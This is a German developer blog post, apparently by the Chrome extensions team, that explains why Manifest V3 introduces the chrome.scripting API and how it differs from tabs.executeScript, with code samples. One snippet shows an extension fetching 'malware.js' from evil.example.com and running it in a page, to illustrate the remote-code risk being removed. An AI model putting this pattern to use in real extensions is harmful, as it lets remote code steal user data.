Jetzt neu: chrome.scripting

Manifest V3 enthält eine Reihe von Änderungen an der Erweiterungsplattform von Chrome. In diesem Beitrag gehen wir auf die Hintergründe und Änderungen ein, die durch eine der bemerkenswertesten Änderungen eingeführt wurden: die Einführung der chrome.scripting API.

Was ist chrome.scripting?

Wie der Name schon andeutet, ist chrome.scripting ein neuer Namespace, der in Manifest V3 eingeführt wurde und für Funktionen zum Einfügen von Skripts und Stilen zuständig ist.

Entwickler, die bereits Chrome-Erweiterungen erstellt haben, kennen möglicherweise Manifest V2-Methoden in der Tabs API wie chrome.tabs.executeScript und chrome.tabs.insertCSS. Mit diesen Methoden können Erweiterungen Skripts und Style Sheets in Seiten einfügen. In Manifest V3 wurden diese Funktionen in chrome.scripting verschoben. Wir planen, diese API in Zukunft um einige neue Funktionen zu erweitern.

Warum eine neue API erstellen?

Bei einer solchen Änderung wird eine der ersten Fragen, die häufig auftauchen, „Warum?“ gestellt.

Aus verschiedenen Gründen hat sich das Chrome-Team dazu entschieden, einen neuen Namespace für Scripting einzuführen. Erstens ist die Tabs API eine Art Junk-Schublade für Funktionen. Zweitens mussten wir funktionsgefährdende Änderungen an der vorhandenen executeScript API vornehmen. Drittens wollten wir die Scripting-Funktionen für Erweiterungen erweitern. Zusammengenommen haben diese Bedenken deutlich gezeigt, dass ein neuer Namespace für Scripting-Funktionen erforderlich ist.

Die Müllschublade

Eines der Probleme, mit denen sich das Erweiterungsteam in den letzten Jahren auseinandersetzen musste, ist die Überlastung der chrome.tabs API. Bei der Einführung dieser API standen die meisten Funktionen im Zusammenhang mit dem Konzept eines Browsertabs. Schon damals war es eine Art Sammelsurium an Funktionen und im Laufe der Jahre ist diese Sammlung nur gewachsen.

Zur Zeit der Veröffentlichung von Manifest V3 umfasste die Tabs API die grundlegende Tab-Verwaltung, die Auswahlverwaltung, die Fensterorganisation, Messaging, die Zoomsteuerung, die grundlegende Navigation, Scripting und einige andere kleinere Funktionen. Das alles ist wichtig, aber für Entwickler, die gerade erst anfangen, sowie für das Chrome-Team, wenn es um die Wartung der Plattform geht und Anfragen aus der Entwickler-Community berücksichtigen.

Ein weiterer komplizierter Faktor ist, dass die Berechtigung tabs nicht gut verstanden wurde. Während viele andere Berechtigungen den Zugriff auf eine bestimmte API (z.B. storage) einschränken, ist diese Berechtigung etwas ungewöhnlich, da sie der Erweiterung nur Zugriff auf vertrauliche Attribute auf Tab-Instanzen gewährt und dadurch auch die Windows API beeinflusst. Es ist verständlich, dass viele Entwickler von Erweiterungen irrtümlicherweise der Meinung sind, dass sie diese Berechtigung benötigen, um auf Methoden in der Tabs API wie chrome.tabs.create oder, kurz gesagt, chrome.tabs.executeScript zuzugreifen. Durch die Verlagerung von Funktionen aus der Tabs API lässt sich diese Unklarheit teilweise beseitigen.

Wichtige Änderungen

Bei der Entwicklung von Manifest V3 wollten wir vor allem Missbrauch und Malware bekämpfen, die durch „extern gehosteten Code“ ermöglicht werden – Code, der ausgeführt wird, aber nicht im Erweiterungspaket enthalten ist. Es ist normal, dass von Servern mit Missbrauch abgerufene Skripts ausgeführt werden, um Nutzerdaten zu stehlen, Malware einzuschleusen und die Erkennung zu umgehen. Auch legitime Nutzer nutzen diese Funktion, aber wir waren der Meinung, dass sie zu gefährlich ist, um sie so beizubehalten.

Es gibt verschiedene Möglichkeiten, wie Erweiterungen entbündelten Code ausführen können. Die relevanteste hier ist jedoch die Methode chrome.tabs.executeScript von Manifest V2. Mit dieser Methode kann eine Erweiterung einen beliebigen Codestring auf einem Zieltab ausführen. Das bedeutet wiederum, dass ein böswilliger Entwickler ein beliebiges Script von einem Remote-Server abrufen und auf jeder Seite ausführen kann, auf die die Erweiterung zugreifen kann. Wir wussten, dass wir diese Funktion weglassen mussten, wenn wir das Remotecode-Problem lösen wollten.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Außerdem wollten wir einige andere, subtilere Probleme mit dem Design der Manifest V2-Version beheben und die API zu einem ausgefeilteren und vorhersehbaren Tool machen.

Auch wenn wir die Signatur dieser Methode in der Tabs API ändern können, waren wir der Meinung, dass zwischen diesen funktionsgefährdenden Änderungen und der Einführung neuer Funktionen, die im nächsten Abschnitt behandelt werden, eine saubere Pause für alle einfacher wäre.

Erweiterte Scripting-Funktionen

Ein weiterer Aspekt, der in den Entwicklungsprozess von Manifest V3 gespeist wurde, war der Wunsch, der Erweiterungsplattform von Chrome zusätzliche Skriptfunktionen hinzuzufügen. Insbesondere wollten wir Unterstützung für Skripts für dynamische Inhalte hinzufügen und die Möglichkeiten der executeScript-Methode erweitern.

Die Unterstützung von Skripts für dynamische Inhalte ist eine langjährige Funktion in Chromium. Derzeit können mit den Chrome-Erweiterungen Manifest V2 und V3 nur Inhaltsskripte in ihrer manifest.json-Datei statisch deklariert werden. Die Plattform bietet keine Möglichkeit, neue Inhaltsskripte zu registrieren, die Registrierung von Inhaltsskripten zu optimieren oder die Registrierung von Inhaltsskripten zur Laufzeit aufzuheben.

Wir wussten zwar, dass wir diese Funktionsanfrage in Manifest V3 angehen wollten, aber keine unserer vorhandenen APIs schien dafür geeignet zu sein. Wir haben auch in Erwägung gezogen, die Content Scripts API für Firefox festzulegen. Wir haben jedoch schon sehr früh einige große Nachteile bei diesem Ansatz erkannt. Zunächst wussten wir, dass es inkompatible Signaturen gibt (z.B. fehlende Unterstützung für das Attribut code). Zweitens: Unsere API hatte andere Designeinschränkungen (z. B. musste eine Registrierung über die Lebensdauer eines Dienstarbeiters hinaus bestehen). Außerdem würde dieser Namespace uns auf die Funktion von Inhaltsscripts beschränken, während wir Scripting in Erweiterungen allgemeiner betrachten.

Im Hinblick auf executeScript wollten wir außerdem die Möglichkeiten dieser API über die Unterstützung der Tabs API-Version hinaus erweitern. Konkret wollten wir Funktionen und Argumente unterstützen, das Targeting auf bestimmte Frames vereinfachen und das Targeting auf andere Kontexte als Tabs ermöglichen.

Künftig werden wir auch darüber nachdenken, wie Erweiterungen mit installierten PWAs und anderen Kontexten interagieren können, die nicht konzeptionell zu „Tabs“ gehören.

Änderungen zwischen „tabs.executeScript“ und „scripting.executeScript“

Im Rest dieses Beitrags möchte ich mir die Ähnlichkeiten und Unterschiede zwischen chrome.tabs.executeScript und chrome.scripting.executeScript genauer ansehen.

Funktion mit Argumenten einfügen

Bei der Überlegung, wie sich die Plattform angesichts der Einschränkungen für remote gehosteten Code weiterentwickeln muss, wollten wir ein Gleichgewicht zwischen der reinen Leistung der beliebigen Codeausführung und der Zulassung von Scripts für statische Inhalte finden. Unsere Lösung bestand darin, Erweiterungen die Möglichkeit zu geben, eine Funktion als Inhaltsskript einzufügen und ein Array von Werten als Argumente zu übergeben.

Sehen wir uns ein (stark vereinfachtes) Beispiel an. Angenommen, wir möchten ein Skript einfügen, das den Nutzer namentlich begrüßt, wenn er auf die Aktionsschaltfläche der Erweiterung (Symbol in der Symbolleiste) klickt. In Manifest V2 konnten wir einen Codestring dynamisch erstellen und dieses Script auf der aktuellen Seite ausführen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Bei Manifest V3-Erweiterungen kann kein Code verwendet werden, der nicht mit der Erweiterung gebündelt ist. Unser Ziel war es jedoch, einen Teil der Dynamik zu erhalten, die bei Manifest V2-Erweiterungen durch beliebige Codeblöcke möglich war. Durch diesen Ansatz mit Funktionen und Argumenten können Chrome Web Store-Prüfer, Nutzer und andere Interessierte die Risiken einer Erweiterung genauer bewerten. Gleichzeitig können Entwickler das Laufzeitverhalten einer Erweiterung auf der Grundlage von Nutzereinstellungen oder Anwendungsstatus ändern.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Targeting-Frames

Außerdem wollten wir die Interaktion von Entwicklern mit Frames in der überarbeiteten API verbessern. Mit der Manifest V2-Version von executeScript konnten Entwickler entweder alle Frames auf einem Tab oder einen bestimmten Frame auf dem Tab anvisieren. Mit chrome.webNavigation.getAllFrames können Sie eine Liste aller Frames auf einem Tab aufrufen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3 haben wir das optionale Ganzzahlattribut frameId im Optionsobjekt durch ein optionales frameIds-Array mit Ganzzahlen ersetzt. Dadurch können Entwickler ein Targeting auf mehrere Frames in einem einzigen API-Aufruf vornehmen.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Ergebnisse der Script-Injection

Außerdem haben wir die Art und Weise verbessert, wie wir Ergebnisse von Script-Injections in Manifest V3 zurückgeben. Ein „Ergebnis“ ist im Grunde die letzte Anweisung, die in einem Script ausgewertet wird. Sie können sich das wie den Wert vorstellen, der zurückgegeben wird, wenn Sie eval() aufrufen oder einen Codeblock in der Chrome-Entwicklertools-Konsole ausführen, der aber serialisiert ist, um Ergebnisse an verschiedene Prozesse weiterzuleiten.

In Manifest V2 würden executeScript und insertCSS ein Array von einfachen Ausführungsergebnissen zurückgeben. Das ist in Ordnung, wenn Sie nur einen einzigen Injection-Punkt haben. Bei der Einschleusung in mehrere Frames ist die Reihenfolge der Ergebnisse jedoch nicht garantiert. Es ist also nicht möglich zu erkennen, welches Ergebnis mit welchem Frame verknüpft ist.

Sehen wir uns als konkretes Beispiel die results-Arrays an, die von einer Manifest V2- und einer Manifest V3-Version derselben Erweiterung zurückgegeben werden. Beide Versionen der Erweiterung fügen dasselbe Inhaltsskript ein und wir vergleichen die Ergebnisse auf derselben Demoseite.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Wenn wir Manifest V2 ausführen, wird ein Array von [1, 0, 5] zurückgegeben. Welches Ergebnis entspricht dem Hauptframe und welches dem iFrame? Der Rückgabewert kann dies nicht mit Sicherheit sagen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

In der Manifest-Version 3 enthält results jetzt ein Array von Ergebnisobjekten anstelle eines reinen Evalutionsergebnisse-Arrays. Die Ergebnisobjekte geben die ID des Frames für jedes Ergebnis eindeutig an. Dies macht es Entwicklern viel einfacher, das Ergebnis zu nutzen und Maßnahmen für einen bestimmten Frame zu ergreifen.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Zusammenfassung

Versionsaktualisierungen des Manifests bieten eine seltene Gelegenheit, Erweiterungs-APIs neu zu überdenken und zu modernisieren. Mit Manifest V3 möchten wir die Nutzerfreundlichkeit verbessern, indem wir Erweiterungen sicherer machen und gleichzeitig die Nutzung für Entwickler verbessern. Durch die Einführung von chrome.scripting in Manifest V3 konnten wir dabei helfen, die Tabs API zu bereinigen, executeScript für eine sicherere Erweiterungsplattform umzugestalten und den Grundstein für neue Skriptfunktionen zu legen, die noch in diesem Jahr eingeführt werden.